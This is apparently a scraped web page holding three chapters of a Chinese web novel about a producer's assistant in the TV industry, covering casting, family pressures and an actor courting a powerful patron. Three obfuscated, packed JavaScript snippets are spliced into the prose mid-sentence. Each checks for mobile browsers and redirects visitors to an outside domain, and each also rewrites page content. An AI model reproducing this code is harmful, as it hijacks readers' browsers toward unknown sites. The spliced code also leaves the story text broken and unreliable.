夏停是卫视方,对广电局比影视公司把脉更准确。编剧花了半个月时间又改了一道,它和原著相似度不高了。杨树预见书粉们会骂人,但原著很多内容不能用,对制作方也是件很伤神的事。 方雯笑说书粉一定会骂编剧自己不会写东西,还乱改别人的东西,连她父母看了小说,再看剧本,都说这基本是原创的新故事了,为什么要买原著。杨树无话可说,没有这个IP,就可能拉不到投资和演员,它必须走那个风口。 方雯不在意被骂,她是职业编剧,参与过十几个项目,但能做出来的是少数,播出来口碑好的极少,烂的各有各的烂法,是无数博弈的产物,能播出就算成功。观众不理解、观众唾骂,她都当成耳旁风,编剧们不明白怎么写会更好看吗,明白。 二月初,姚澈等高管参加了公司股东会,《北宋宫事》进度得加快,政策变数大,必须早点拍出来。 《北宋宫事》是大剧,事务庞杂,姚澈和单明玉等人协调各方资源和这部戏的规模做匹配,制片助理杨树跑步进入状态,除了抓剧本,现阶段她的工作重心是采购道具。 美术人员都有服装道具的资源,很多制片人习惯让美术组自理承包,由美术组做预算,服装、化妆、道具和资金划个大致总数,制片组批钱。这种模式很省心,但有个弊端,钱给到位,就失去控制了,电视上,堂堂皇后戴了满头义乌生产的塑料珠子,恐怕不止是美术造型的审美不行。 除了道具廉价不可控,导演临时想加置一个景,美术组也能推脱,钱都揣兜里了,你奈我何。姚澈是个精打细算的制片人,既想省钱,又想把制作搞好,她跟美术组合作都采取片酬制,他们需要服装道具化妆和置景工队,由制片组的杨树和他们一起去领,算是个制衡。 剧本还没写完,杨树先划拉了一遍。有些重点道具单独标记,需要找人复刻,根据美术造型总监常伟亮等人的要求按需采购。普通道具到时候找横店的道具库租用,它们主要用于大背景,不给特写,但又多又琐碎,杨树很庆幸身边有个丁盼兮,能帮她把财务方面弄得井井有条。 便是在这一天天忙碌中,春节假期到了,秦朗依约陪杨树回内蒙过年。 杨树和爸爸上次见面是《战朝阳》开机,才半年不见,爸爸白发就增多了。杨树和秦朗进家门刚坐下,爸爸就着急地递上手机,他不知道按错了哪个键,微信手写框找不着了,弄了半天也不会,平时能找单位的小年轻帮他弄,可这会儿大家都放假了。 秦朗帮爸爸调出了手写模式,爸爸说:“你说慢点,我拿纸拿笔记下来。” 杨树再一看,她给爸爸买的扫地机器人趴在角落里落灰,爸爸按照说明书试过一次,但有天按不出来,研究了好一会儿也不行,他感叹科技发展得太快,不给人留点余地。单位以前发节日福利都是现金,后来变成超市购物卡,这两年改成电子渠道发放福利券,年纪大点的同事都说折腾人,有些退休老人连智能手机都没有,就更领不上了。 秦朗说父母也经常说落伍了,跟不上时代了,母亲单位发放三八妇女节福利,让人下载小APP,又是扫码,又是手动输入地址的,再填上一堆验证码,不过是为了领取20只初生蛋,或是两瓶500ML的食用油。 杨树听得心头酸楚,她还年轻,但人的衰老也许不仅仅体现在身体机能迟缓上,玩不转智能手机,就能让一个独居的中老年生活带来不便。爸爸离退休没几年了,她发誓好好工作,多挣点钱,以后跟爸爸一起住。 准女婿初次登门,爸爸备了能让三人吃一个月的的年货,杨树给他封了大红包,爸爸说她今年底要买房子,不收,杨树比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091460|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 划数字:“你女儿年终奖发了这个数,还当上制片助理,做得好了,提成奖金大大的有。” 杨树入影视这行满打满算不到三年,制片的事却那么繁杂,爸爸担心女儿压力太大,但杨树不安于做责编,想有点话语权,必须往高处走。 秦朗让杨父放心,杨树压力大,不还有他嘛,而且杨树运气挺好,遇到了几个贵人,姚澈很提携她,钱一诺重视她,卫视的夏停为人也随和。杨树自己最喜欢姚澈,姚澈做项目凭经验判断,会从方向上把脉,但很懂得工种分责,不轻易干涉主创人员。 但凡乱喷编剧的制片人和导演都不会收获好剧本,这明明是常识,但资本傲慢,总以为自己懂得最多,不肯对专业人士给予信赖。《大唐银楼》就是最坏的例子,编剧并非没才华,但碰上李伊梦了。 不光是卫视给了差评,年初,施严所在的QE网站也拒绝《大唐银楼》了,他上司尖刻地说改名叫《大唐淫楼》还差不多。 杨树回忆自己看的样片,亲密戏如麻,可能那是李伊梦认知里的“撒糖”。听说另外几家视频网站也不打算购片,质量一般的剧,各家见仁见智,但差到一定级别,人们的眼睛还是雪亮的。 《大唐银楼》投资大,各方不肯亏本卖,但卫视和视频网站更不肯高价买烂剧,李伊梦不死心,拜托投资人里那位权贵的女婿周旋,但女婿公司只投了400万,不想为《大唐银楼》搭太多关系,比他投钱多的人自然会着急。 大咖参投了它,急需靠它赚到钱,施严说她对李伊梦等人放了话:“老娘就算舍了这身皮肉,也要让它播出来。” 《大唐银楼》之烂,姚澈听平台的人议论过,她笑言以它的水平,大咖掏钱买断它,永不见天日,才能保住打造多年的演技派头衔。至于李伊梦,在业内被人当成笑柄,不外乎是心里没点数,以为自己既是商业奇才,还能指点文艺创作。 姚澈很保护主创人员,为众人创造好的创造环境,对杨树的栽培也尽心,爸爸见女儿有个好领导,踏实多了。 晚上,杨树跟秦朗说悄悄话:“我下半年就30岁了,我爸还把我看得挺没用。谁生来就会当制片助理啊,不懂就学啊。” 父辈总把子女当小孩子,想不起她是社会上的成年人,秦朗亲亲杨树,他父母看他也一样,但在他看来,杨树很能干,他以她为傲。 杨树带男朋友回家,按礼节,爸爸要张罗家族聚会,让亲戚们都看看秦朗。杨树难得回一趟,爸爸没喊姑姑一家,把爷爷奶奶、外公外婆、叔叔伯伯和小姨小姨夫都接来了,热热闹闹吃晚饭。 长辈们都很喜欢秦朗,纷纷掏了红包,秦朗回敬金条,人手一条。回家前,杨树跟秦朗商量买别的,秦朗说黄金最讨喜,老人们能拿去变现,也能留给小辈。杨树看到老人们的笑脸,挠挠男朋友的手心,他总让她这么喜欢。 爸爸很多电子产品都用得不熟练,秦朗帮他把各种功能做了备忘录,杨树在家待满假期,才和他一同回京。每次父女分别,都很舍不得,但留在故乡过不上想要的生活。 55. 第 55 章 丁盼兮去年放话再不回家过年,元月订了去泰国旅游的机票,但随后就得知,弟弟大年初六订婚。 弟弟订婚很突然,但这是喜事,丁盼兮回去了。去年一整年,弟弟相了好几次亲,没一个能谈下去,不是嫌对方开的彩礼高,就是嫌对方不漂亮。妈妈让女儿劝儿子务实,丁盼兮没劝,人都好色,但女人会因为别的因素爱上男人,男人不一样,如果他没看上你,即使天天跟你过日子,一生都不会爱你,弟弟找个不合心意的,结了婚也会出问题。 去年下半年,弟弟相到让他一见钟情的姑娘,姑娘在济南读完大专,回烟台市里做外贸,她也对弟弟有意,两人谈起了恋爱。 姑娘家要求在烟台市里全款买套三居室,外加18万彩礼,丁家掏得出18万,但就算找亲戚帮凑,也买不起房子。 弟弟和姑娘感情很好,但姑娘觉得自己有学历,有不错的工资,不至于结婚后辞职回乡下卖樱桃,当然是男人去烟台做点事,孩子的起点也能高点。房子是一家三口住的,她家提的条件合情合理,她是真心想和姓丁的过日子。 丁盼兮过年回家,发现姑娘住到家里了,她肚子隆起,孕相很明显。妈妈把女儿拉到一旁嘀嘀咕咕,姑娘怀孕了就老实了,18万现金彩礼已经给到位,订婚宴办完就去烟台买套两居室付首付,写两人的名字,当天就把结婚证领了。 丁盼兮万万没想到,让姑娘怀孕是妈妈出的主意。姑娘家不松口,但丁家借不到那么多钱,只能走下策。 姑娘怀孕后想堕胎,丁家三人统一口径在借钱,爸爸还拿丁盼兮说事,她在大公司当高管,收入很高,过年回来就陪弟弟弟媳去烟台看房。 弟弟给女朋友看过丁盼兮去布拉格旅游的照片,他说姐姐是享受派,没攒下多少钱,所以房子只能赞助两居,省点钱给女孩买辆代步车,她坐公交车上下班太辛苦了。 连哄带骗了一阵子,姑娘显怀了,她家里着急了。弟弟网贷了几笔钱,哄得姑娘家相信:“今天我姐打了三万,下个月再打三万,再攒攒就够了。” 姑娘的肚子一天大过一天,到了19周,瞒不住人了,附近几个村都视她为丁家的媳妇。姑娘想堕胎也危险了,弟弟悄悄还了网贷,花了几个月利息钱,换来一个媳妇,合算。 姑娘是丁家的媳妇既成事实,若反悔,伤身且丢人。丁盼兮快气疯了,做梦都没想到家人会这样办事,妈妈却说儿子是人,女儿也是人,不能为了给儿子娶媳妇,就找女儿要钱。 丁盼兮说别人家的女儿也是女儿,买不起房子就再商量,算计人不对。妈妈觉得女儿不可理喻,居然帮着外人说话,读书把脑子读坏了,别人可都说丁家办事厚道,肚子里还不知道是男孩女孩,就给她买房,买完房才领证,而且首付还背了债,还想怎样? 丁盼兮失望透顶:“你自己也是女人!” 妈妈说是那姑娘自己不检点,如果她守得住,那就再谈,谁叫她婚前两腿一张。丁盼兮气得跳起来,这话说得也太难听了,她爸从外面回来听到了,骂她胳膊往外拐,难道勒令她掏30万帮弟弟娶媳妇才是对的?家里保证把订婚宴办得丰盛,再把烟台的房子一买,够对得起那姑娘了,她家也没话说。 妈妈被女儿指责得也动了怒,女儿31岁了,还没嫁掉,全家都心疼她独自赚钱不容易,不想为难她,才找了折中办法,怎么在她眼里就成了伤天害理了?那姑娘自己又不是不愿意。 丁盼兮说姑娘的意见在心里,结婚了让公婆怄气怎么办,爸爸瞪眼:“她敢让我们怄气,你弟弟是吃素的?” 丁盼兮以前不认为弟弟会打女人,可他已经干出这些事,谁知道以后会怎样,她一天都不想在家里待了,订婚酒也不喝了,收拾行李要走。爸爸骂她年纪越大脾气越大,去年就搞这一出,今年还不消停,丁盼兮吼道:“我再回家我就是贱的!” 爸爸气坏了,撂下话,她不回就不回,欠的债不劳她操心,全家人想办法还。丁盼兮拖着旅行箱出门,弟弟追出来:“我对你够意思了,你为什么总要让我们心里都不痛快?” 准弟媳在院子里晒着太阳择菜,关注地看过来,丁盼兮灰心地走了。等长途车的时候,妈妈仍然来送女儿,她不明白女儿的气性怎么这么大,还怪家人坑别人,可千错万错,错都落不到自家人头上,丁盼兮若嫁人,丁家人可不会让别人在北京弄套三居室,外加大把现金。 妈妈才55岁,年关很忙,最近没顾上去染头发,露出了花白的发色,背也有点佝偻了,说话做事都不如从前机敏了。老年人的苍老是很快的,丁盼兮一腔愤懑都化作沉默。 妈妈央求女儿留下来,家里办喜事,她缺席了,亲戚们都不好想,丁盼兮看着妈妈的头发,仍不说话,她还能说什么? 妈妈试着去拿旅行箱,丁盼兮没让:“我以后不回来了。” 母女俩僵持,妈妈哭了,追问丁盼兮是不是记恨家里为给弟弟娶媳妇举债,将来她嫁人,他们却掏不出嫁妆钱,丁盼兮说:“我不要你们的钱,我给涵涵准备了八万块钱礼金,马上转给你们。” 妈妈说家里困难,但为丁盼兮准备了6万块嫁妆钱,存了长期,哪怕姑娘家再逼迫,他们也没想到动那笔钱。丁盼兮31岁了,随时可能嫁人,她娘家不能一分钱都不掏,让她被婆家轻贱。 丁盼兮喉咙有点哽,气恼于自己在这一刻竟有微妙的感动,她拉着旅行箱,迎向长途车开来的方向:“等我结婚,不用你们掏一分钱,你们把这钱拿去还债。” 妈妈哭着喊盼兮盼兮,丁盼兮头也不回,腊月二十九就返回北京。她很想和杨树说话,但杨树带秦朗回家,正是高兴,她强忍到他们回来。 丁盼兮对两个朋友说出这一切,气出了眼泪。妈妈以前总说,女人嫁了人就是别人家的人了,她还没结婚呢,就成了家里的外人,这次回去,她从此没有家了。 杨树和秦朗都连声叹气,一个为了生儿子东躲西藏,吃尽苦头,仍认为有子万事足的女人,她对自己就那样,对别人的女儿当然好不到哪儿去,丁盼兮再生气,她妈只会满心不解,满腹委屈。 丁盼兮其实也明白,她指责她妈身为女人却坑害女人,在她妈看来多么荒谬。天底下的人那么多,但是没几个对妈妈好,她凭什么要对别人好?买房子加姑娘的名字,将来还照顾她坐月子,妈妈自认为好到天上去了。 秦朗让丁盼兮别给那么多礼金,丁盼兮说这点钱在北京做什么都不够,但用它和家里一笔勾销,值。 往常,丁盼兮抱怨跟家里人说不到一起,大事上一点建设性意见都得不到,但早上睡个懒觉都能被念叨几十遍,这都是小事,如今她的心被伤透了。家人竟是那样的人,她感到羞耻。 杨树很觉痛心,变着花样买丁盼兮爱吃的水果和零食,陪她多聊会儿天,丁盼兮爱看的言情剧,她也陪着一集集地看。 休完春节假期,杨树去上班,接到《西北年轻人》5月初开机的通知。 政策得紧扣当下形势,太早开机可能会面临大量修改。钱一诺想等剧本出全了,再精雕细琢,送去给总局的老领导过一遍,然后才筹备建组,但是过年期间,他走亲访友,发现各兄弟公司都在做现实题材了,扶贫向是他们的一大重点。 早在前年,朱青的策划室就在大力布局女性剧,都是现实题材,有两部已播出,成绩都不错,余下的或后期制作,或开机在即。明堂影业现实题材的存货充足,但《西北年轻人》得尽快开机了,不然明年扶贫剧扎堆拍摄,一来合适的演员难找,二来早点做出来,早点过审,即使要与时俱进,修改政策类台词,也好过起大早赶晚集。 钱一诺雷厉风行谈了数个导演,有人档期排得满,有人看了剧本大纲,质疑女主角32岁未婚不讨喜,还有人性格不错,拍戏风格土,《西北年轻人》虽然被内部笑称土剧,但想拍出社会主义新农村,导演审美不能差。 杨树推荐了《天作之合》的导演潘亚勤,他在比利时拍摄一部都市情感剧,3月初才回国,到时候可见面详谈。 潘亚勤的档期合适,钱一诺看了他执导的几部戏片段,难得不是行活,有自己的审美和想法。杨树顺势聊了在横店共事的情景,从开机伊始到样片送审,所有环节潘亚勤都在,等《天作之合》过审,在卫视排期,他才接了新项目。 钱一诺把潘亚勤列为候选,让杨树把剧本发过去听听意见,开始着手敲演员。做《西北年轻人》这种剧,最大的难点在于如何与年轻人建立联系,进而向他们输出主流价值观,因此在演员方面,得采取线上演员和老戏骨组合的方式,吸引年轻人观看。 钱一诺打了一通电话,邀请唐问羽担纲女主角。唐问羽以前拍过明堂影业两部戏,去年下半年拍古装剧摔伤,坐在轮椅里演完后续戏份。居家休整期间,唐问羽接到几十个剧本,可惜古装剧也好,现代剧也罢,女主角都是惹祸精和冒失鬼,似乎不这样就无法推动剧情。 唐问羽看剧本看得很焦躁。经纪人说资方对“活泼可爱”这个词理解有问题,不过现在的年轻人可能就是这么夸张做作。 唐问羽31岁,长相比实际年纪显年轻,但自问失去了少女时的灵动眼神和气质,不想再演这类角色,不过,《西北年轻人》是她以前碰都不碰的题材,钱一诺让她看剧本资料再议。 唐问羽看完就同意出演了,女主角很聪明,而且是真聪明,编剧用一件件事例都展现出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091461|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 扶贫剧对主演咖位没那么高标准,唐问羽一度红过,如今算二线,钱一诺看上的是她的演技,不算多老练,但一点就透,演女主角问题不大,气质和感觉也到位。 唐问羽是老熟人,片酬主动打了7折,但二线演员的片酬如今也了不得,用了她,男主角就只能找便宜点的。问题便来了,各家影视公司和平台都在大拍特拍IP剧,小生们更愿意去争取小IP,博个红的可能。 《西北年轻人》听起来像群像,但是女主角视角,写的还是护肤品牌创业,咖位相仿的男演员不愿给唐问羽作配,并且嫌这戏土气,容易影响商务代言。 钱一诺寻寻觅觅,杨树提了祁宁,钱一诺听过他的名字,但《西北年轻人》是传统电视向,他想找个主流观众眼里的熟脸。 詹忆和张瑞江等人提了几人的名字,也都被否了。男主角的戏份没有女主角重,但角色是电气工程师,气质很沉稳,演惯了偶像剧的男演员会演得浮,一浮,就和扶贫剧想要的气质不配套。 涂芊建议把女主角在剧中年龄改小,再让唐问羽扮嫩,张瑞江赞成,钱一诺又否了。女主角是都市小白领回乡创业,不是大学一毕业就回乡,她在进口大品牌历练过几年,从前史和工作经验来看,不宜太年轻。 会议开到尾声,男主角仍没定下来,钱一诺头疼,让制片主任联系选角公司。杨树配合制片主任做了PPT,详细阐述大小角色,郑致在职时,这项工作做得极好,杨树问候他,他说父母帮忙还了网贷,他决心遵从父母心愿,报考公务员,去过另一种生活。 影视业做项目,靠谱与否,经常取决于制片人码盘子的能力。不到一周,钱一诺就搞定了《西北年轻人》除了男主角之外的所有角色,客串的演员大咖云集,但选角导演试镜数人,仍没找到男主角。 试镜的数人态度都不错,但偶像剧演多了,表演程式化,台词更是一塌糊涂,连断句都断不对。 有人演技勉强能留用,但谈到细节,经纪人打了退堂鼓。《西北年轻人》有一多半戏份都在农村,环境恶劣,拍摄周期长,而且签了约就得在剧组待着,不能中途离组接商务。 演员有个好履历,对后面接戏档次很重要,演员本人想演,但经纪人只想让他去演网络热度高的剧,钱多,好演,能圈粉。 公司早年做过几部农村剧,里面有个演孩子的童星长大了,发展得不太行,但拍了多年农村题材,长得也根正苗红,喊一声就能来,制片主任提议就找他,钱一诺没答应。 扶贫剧受众窄,总局老领导虽不干涉片方挑演员,但明确指示主旋律要市场化,走到年轻人当中去。童星形象和演技都还行,但太没知名度了,男主角得找个线上的。 钱一诺以前嫌祁宁不是主流向,但有比较才有鉴别,比祁宁红的演技也就那样,杨树还想再试试。 去年圣诞节一别至今,杨树和祁宁没有再见面。前段时间,杨树从他接到的剧本里挑了一部软科幻言情剧,原定6月开机,剧本写了一半,投资人之一嫌编剧没名气,信不过她们写的东西,另外找了大编剧,从第一集改起,开机时间延后,杨树把《西北年轻人》剧本发给他。 祁宁研究剧本去了,他人气不高,处于被动状态,杨树帮他选的剧本是同批最高水平,但都不是完整剧本,有时进组拍摄才发现后面写得太赶,烂尾了,有时剧播了才发觉自己的戏份改了,台词也重新配了。《西北年轻人》剧本完成大半,并且有总局亲自过问,在一线卫视黄金档播出来的机会大,他得竭尽全力。 《西北年轻人》的制片助理名叫许富吉,谐音徐福记,他圆脸爱笑,长相很有几分喜庆,大家都管他叫阿福,杨树努力跟他混熟了。她是零经验当上《北宋宫事》制片助理,很需要有人指教,她把祁宁演的作品片段发给阿福,请他在制片主任面前美言几句,阿福说他有数。 潘亚勤导演杀青回国,跟钱一诺面谈。杨树和这部戏的制片主任及助理阿福也都在场。钱一诺对成片有明确的想象,会议中他频繁发问,潘亚勤都接得很稳,他在比利时拍戏期间,看了不下三遍现有剧本。 钱一诺发问很尖锐,会后杨树才知道,他是想通过观点碰撞检验潘亚勤,能接受意见,才有合作的基础。 潘亚勤通过了钱一诺的考察,签了合作协议后,他拿出第一集工作台本,其实他在回国飞机上就做出来了。 导演的工作台本都会对文学剧本做些微调,潘亚勤的工作做得格外细致,钱一诺很赞赏他的工作态度。听说男主角仍没定下来,潘亚勤推荐了三人,其中包括祁宁。 导演说话比杨树管用,祁宁终于接到了他在等待的电话,杨树特地花了半天时间去看试镜。 56. 第 56 章 试镜演员里,几人都比祁宁红,也很能展现自身的魅力,但《西北年轻人》是女主角视角展开的故事,男主角的主角意识不能表现得太强,这是角色本分,祁宁表现得返璞归真,杨树觉得他是最合适的一个。 杨树这次特地没给祁宁讲角色,想考察他的悟性,他完成得很好,没像另外几人那样用技术去塑造大男主。但这只是杨树的内心想法,从潘亚勤到选角导演等人,都没拍板定谁,让众人回去等消息。 这次试镜就在公司的一个影音室,祁宁出来后,杨树带他去休息室谈谈天,她知道他有些紧张。 祁宁正在京郊拍摄特别出演的军旅剧,那一带环境很艰苦,他收到试镜通知,来不及换行头,穿着迷彩服就来了。刘云彤送来茶水,祁宁展眉对她道谢,刘云彤呆了一呆,祁宁对自己的杀伤力浑然不觉,捧着一杯红茶,愣怔半晌。 杨树静静看他,难怪别人说军装是男人的气质之魂,他身材挺拔,这一身很显气势,跟目前精干的寸头尤其搭,锋锐冷硬,让人心折,但丁盼兮以一个美人的亲身经历总结过,美和顺风顺水没有必然联系。 被杨树这样直愣愣地看着,祁宁有所察觉,回过神来,一瞬不瞬地看她,眼神柔和,杨树定了定神,想起丁盼兮所谓的追求一说,悄无声息地叹口气:“今天来的都是线上演员,副导演用谁不用谁,都不适合当面说,我们再等等看。” 祁宁不抱什么希望,向杨树道歉,她开了后门,让他比别的人琢磨剧本多出一周时间,他还让找助理请来几个搞IT的朋友研究工科男的言行举止,但他的表演没能服众。 杨树说:“我对剧本很熟,对角色也熟,我觉得你表现很好。” 祁宁摇头,他不是第一次试戏,从现场各人的反应来看,他做得不够好。他第一部戏《天作之合》就是跟潘亚勤导演合作的,当时潘亚勤嫌他台词稀烂,神色跟今天试完戏并无不同。 那年被批评后,祁宁请了台词老师开小灶,演二少爷祈砚初的时候,导演和老戏骨对他指点很多,之后每部戏,他都感觉自己在进步,但《西北年轻人》试戏现场,他好像又回到当年,仍是那个连走位都不懂的新人。 祁宁是从模特转行,那时潘亚勤毫不留情地批评他:“这里不是T台,你以为你当只猫,颠儿颠儿就行吗?” 所有人都在笑。今天在场的人没笑,下来时礼节性地鼓掌,但祁宁说他脸上臊得慌,一如当年。 杨树还记得,祁宁的经纪约2021年才到期,到时候他29岁,如果一直演不上男一号,别想冲到二线。偶像言情剧虽然还能演,但不具备竞争力,年轻的新面孔更适合演情窦初开,一往而深的角色,《西北年轻人》是正剧,他想借此走演员路线,艺术生命会长久些,可是现实残酷,没能实现开局。 主流正剧几乎是中年男演员的天下,往这条路上发展,才有望人到中年还能当主角。虽说配角也需要人演,但哪个演员不想当主角?如果祁宁能演上《西北年轻人》男一号,再去谈新项目,局面会比现在好,杨树何尝不明白这些,但事情往往不遂人愿。 《大清行商》停拍对祁宁打击不轻,这次又受了挫,还得迅速调整过来,去演军旅剧,演员的情绪是最该维持稳定的,才方便代表角色,进入一个又一个场景,杨树有点堵心,开口道:“我要是……” 她想说如果我是钱一诺就好了,可她不是。小人物想做点事,总是那么难,可就算做到钱一诺的位置,想让一部戏成功播出,仍然千辛万苦,这行不可控的因素实在太多了。 杨树喉头有些哽,没能说下去。祁宁沉默地注视着她,一双眼睛亮簇簇的,里头像是养了许多只活泼泼的白兔子,一蹿一蹿地要扑到人身上来,杨树呆愣了一下,她关不住它们,但得捉住,一只只丢回笼子里,扯谎说今天没空一起吃饭,秦朗的爸妈来北京小住,她得多陪陪他们。 刚才她明明答应了,祁宁眼中情绪晦涩难明:“见父母?” 杨树说:“去年过年就见过了,今年他去我家过年,他爸妈想他,这次趁年假来北京看看。” 祁宁没说话,下午阳光正好,他的身影在桌上投下一片阴影,杨树下了逐客令:“春推会快开了,我手头还有事,你把现在这个戏演好,一步步来,别灰心。” 两人边说边往外走,公司不时有人看祁宁。杨树很遗憾,他可能是拿不到这个角色,但电气工程师不用找这么英俊的人来演,她暗暗劝说自己。 回到办公室,刘云彤在跟姜妤讨论祁宁,姜妤在长夜影视公司就见过他,夸他演的《天作之合》很好看,这样的人不会被埋没,迟早能出头,刘云彤说刚才在休息室里,他抬眉一笑,她的脸烫了半边,另外半边有点木,她无法理解杨树安之若素:“老大,你是怎么坐得住的?” “看多了。”杨树拿起手机联系潘亚勤,询问祁宁演得如何,能打几分,潘亚勤发来语音,“整体还行,失误也不少,看钱总怎么定吧。” 杨树美化了导演的评价,转述给祁宁,祁宁很晚才回复,从明堂影业离开后,他去做射击训练,想把军旅剧的狙击手演得像一点。杨树鼓励了他几句,他具备演好复杂角色的潜力,而且还没看到上限,打开局面指日可待。 第二天早上,杨树才看到祁宁凌晨时分回复的四个字:“我会努力。”但她并不知道,他的努力会是另外的方式。 本年度的北京电视节目交易会在即,一年分春秋两季,上半年的被称为春推会,杨树和部门的人都陷入连轴转,有天她在剪辑室观看《战朝阳》新片花,施严发来消息:“祁宁跟了黄道婆?” 影视公司定主角,有时称为“磕”,但平台方强势,是“选”,施严负责的赛车偶像剧在选男一号,每天都有经纪人带着艺人来争取角色,施严是责编,陪着制片人见了不少人。 酒席上,施严听人说,黄道婆最近想尝口新鲜的,圈内一众急于上位的小生争先恐后往他怀里扑。 黄道婆是台湾人,年过六十,酷爱做医美,是个皮光水滑的白头翁,人送外号黄道婆,既是代指他的性向,更是吹捧他在文体圈能量惊人,只要由他指条明道,小生们黄袍加身,花路顺遂。 隔壁包厢是黄道婆在这家酒店的长包房,赛车偶像剧的制片人和施严等人去敬了几杯酒,施严说:“祁宁好像很得宠。” 黄道婆在公开场合总是白团团双手合十,做弥勒佛状,但玩得猖獗,圈里人所共知。杨树心里一紧,本能道:“他要找也是找大姐。” 施严发来一个鄙视表情,大佬里面能有多少女的?所以娱乐圈中人,性向是流动的,取决于你面对的是谁。有几个被公众公认的GAY,其实一样睡女人,占便宜也好,征服也罢,很多上位者都充满残忍的猎奇的快意。 《大唐银楼》的男主角王思逸拜过黄道婆的码头,出道第一部戏就演上男主角了,黄道婆提溜着他,见遍台湾资本圈男女,个中屈辱难以尽算。王思逸后来对太太、对大咖极尽暴虐,很难说跟那段经历无关,受害者若不能消解内心怨恨,转变成施害者的可能性极大。 似乎生怕杨树不信,施严发来合照,杨树脑子轰的一炸,黄道婆身边不是祁宁是谁?施严火上浇油:“他喊老狗干爹。可惜了。不过这行谁不这样?” 杨树火冒三丈,抓起手机就拨打祁宁电话。电话响了好几声才接通,在听到祁宁声音那一刻,杨树喉咙口滞住。丁盼兮笑她是事业粉,可她真能像粉丝一样对祁宁管头管脚吗?每个人都只能对自己的人生负责,她无话可说,徒然地按了电话。 过了几分钟,祁宁回拨电话,杨树没接,再打,她仍不接,把手机开了静音,继续忙碌。 屏幕亮起,又暗下去。杨树忙完手上的事,点开《战朝阳》最新的几版片花又看了一遍,不期然看到电脑里命名为“祁宁”的文件夹,里面是她让张程程帮忙做的视频剪辑,涵盖祁宁所有已播出角色的精彩片段。 前阵子,杨树把这些能体现祁宁演技的视频发给《西北年轻人》制片助理阿福,托他递给钱一诺观看。光是她一个人提名还不够,换个人再说道说道,加深印象,可能祁宁就有个试镜机会了。 最终起关键作用的是导演潘亚勤,他说:“前年我拍《天作之合》,男二号很不错,沉得下来。” 潘亚勤只是导演,负责艺术层面的创作,论能量,黄道婆远远大过他。杨树内心的失望无以言表,曾经沉得下来的人,终究沉不住气。 除了《天作之合》,祁宁主演了几部网剧和卫视周播剧,算是线上了,但只在小范围闹了动静。入行快四年,前景不算开阔,后起之秀虎视眈眈,他着急了,想去寻求说话管用的靠山,杨树能理解他,但仍然失望,他是比一般艺人勤力些,却并无实质不同。 回家后,杨树没有跟秦朗和丁盼兮说起这件事,想必他们会认为这是意料之中。这个圈子鲜花着锦,却也藏污纳垢,杨树都见过,刚跟祁宁熟起来的时候,他坦陈过参加饭局,在她知道不知道的时候,这都是他生活的一部分,她凭什么以为,当他能够稳定地演上男二号,就独善其身? 除了春推会,杨树还得盯着《北宋宫事》和《西北年轻人》,部门成员手头负责的项目,她也得过问,忙得跟打乱仗似的。祁宁打来电话,她照例不接,跟他没什么可说的,他比自己更清楚黄道婆是怎样的人,他愿意承受这代价,是他的事。 姜妤请大家喝下午茶,杨树停下来歇会儿,再看手机,祁宁发了一条信息:“我在门口等你下班。” 杨树望向窗外,清晨上班时这场雨就落下来,延绵不绝,她想了想,出去见他。 祁宁开来一辆低调的商务车,杨树钻进车里,沉着脸不说话,祁宁问她怎么了,她没回答,反问:“今天不拍戏吗?” 祁宁在军旅剧组的戏份都是户外戏,统筹根据天气,启动了B方案,他今明两天休息,他说统共不到20场戏,大多数时候就在剧组观摩其他的人拍戏,不算忙。 杨树心说怪不得有空去混酒局,问他昨天下午在干嘛,祁宁说《西北年轻人》投资还没到位,他去找投资了,如果多做点贡献,也许钱一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091462|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诺能再给他一次试镜机会,他是真的很喜欢角色。 杨树笑笑,找投资的另一个说法有时是找金主。经纪人不允许祁宁和同行谈恋爱,两人都是公众人物,曝光风险大,跟圈外普通女人恋爱也不被允许,拍到了狡辩起来很牵强,但艺人和资本家在一起,经纪人喜闻乐见,资本家年纪都不会太轻,被娱记和路人看到了,能推说是跟投资人谈合作。 杨树不接电话,也不回信息,祁宁自然猜到她对自己有看法,但不清楚所为何事,双手交握,有点忐忑地等待她说话。杨树肆无忌惮地打量他,眼前这张脸十分英俊,穿得不显山露水,还压低鸭舌帽沿,走在人群中仍会被人注目。她深知他的野心,也深知他的不甘,别人都那么做,他如何会例外? 普通漂亮的男女,都自命不凡,况且是他这般样貌出众。杨树叹声气,挑明了说:“我朋友看到你去拜黄道婆了。” 深黑眼睛里,那两团蹿动的火苗陡然凝滞了,祁宁很艰难地说:“就见了一面。” 杨树不客气地揭穿他:“但你主动走在那条路上了。你想走捷径,你想。” 